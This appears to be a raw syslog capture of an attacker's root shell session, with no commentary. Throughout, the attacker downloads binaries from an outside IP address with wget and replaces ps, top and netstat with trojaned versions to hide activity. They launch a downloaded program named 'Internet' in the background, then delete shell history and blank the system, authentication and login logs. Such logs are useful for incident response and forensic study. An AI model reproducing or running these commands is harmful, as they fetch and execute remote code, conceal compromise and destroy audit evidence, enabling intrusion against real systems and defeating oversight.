Nov 24 03:24:32 ***: [euid=root]::[/root]#
Nov 24 03:24:34 ***: [euid=root]::[/root]# history
Nov 24 03:26:52 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/libproc-3.2.5.so
Nov 24 03:26:55 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/ps
Nov 24 03:26:57 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/top
Nov 24 03:27:00 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/netstat
Nov 24 03:27:03 ***: [euid=root]::[/root]# chmod 777 ps
Nov 24 03:27:05 ***: [euid=root]::[/root]# chmod 777 top
Nov 24 03:27:08 ***: [euid=root]::[/root]# chmod 777 netstat
Nov 24 03:27:11 ***: [euid=root]::[/root]# cp libproc-3.2.5.so /usr/lib64
Nov 24 03:27:14 ***: [euid=root]::[/root]# rm -f /bin/ps
Nov 24 03:27:16 ***: [euid=root]::[/root]# rm -f /usr/bin/top
Nov 24 03:27:19 ***: [euid=root]::[/root]# rm -f /bin/netstat
Nov 24 03:27:21 ***: [euid=root]::[/root]# cp top /usr/bin
Nov 24 03:27:24 ***: [euid=root]::[/root]# cp ps /bin
Nov 24 03:27:29 ***: [euid=root]::[/root]# cp netstat /bin
Nov 24 03:27:33 ***: [euid=root]::[/root]# ps -ef
Nov 24 03:27:35 ***: [euid=root]::[/root]# top
Nov 24 03:27:38 ***: [euid=root]::[/root]# netstat -anp
Nov 24 03:27:40 ***: [euid=root]::[/root]# netstat -an
Nov 24 03:27:50 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/Internet
Nov 24 03:27:52 ***: [euid=root]::[/root]# chmod 0755 /root/Internet
Nov 24 03:27:56 ***: [euid=root]::[/root]# nohup /root/Internet > /dev/null 2>&1 &
Nov 24 03:27:57 ***: [euid=root]::[/root]# ls
Nov 24 03:28:01 ***: [euid=root]::[/root]# rm -rf Internet
Nov 24 03:28:03 ***: [euid=root]::[/root]# rm -rf ps
Nov 24 03:28:05 ***: [euid=root]::[/root]# rm -rf top
Nov 24 03:28:08 ***: [euid=root]::[/root]# rm -rf libproc-3.2.5.so
Nov 24 03:28:10 ***: [euid=root]::[/root]# rm -rf netstat
Nov 24 03:28:10 ***: [euid=root]::[/root]# ls
Nov 24 03:28:14 ***: [euid=root]::[/root]# rm -rf fake.cfg
Nov 24 03:28:15 ***: [euid=root]::[/root]# ls
Nov 24 03:28:21 ***: [euid=root]::[/root]# rm -rf .bash_history
Nov 24 03:28:23 ***: [euid=root]::[/root]#
Nov 24 03:28:24 ***: [euid=root]::[/root]# history
Nov 24 03:28:30 ***: [euid=root]::[/root]# rm -rf /root/.bash_history
Nov 24 03:28:30 ***: [euid=root]::[/root]#
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/syslog
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/messages
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/httpd/access_log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/httpd/error_log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/xferlog
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/secure
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/auth.log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/user.log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/wtmp
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/lastlog
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/btmp
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/run/utmp
Nov 24 03:28:31 ***: [euid=root]::[/root]# rm -rf /root/.bash_history
Nov 24 03:28:31 ***: [euid=root]::[/root]#
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/syslog
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/messages
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/httpd/access_log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/httpd/error_log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/xferlog
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/secure
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/auth.log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/user.log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/wtmp
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/lastlog
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/btmp
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/run/utmp
Nov 24 03:28:37 ***: [euid=root]::[/root]# rm -rf .bash_history
Nov 24 03:28:39 ***: [euid=root]::[/root]#
Nov 24 03:28:40 ***: [euid=root]::[/root]# history
|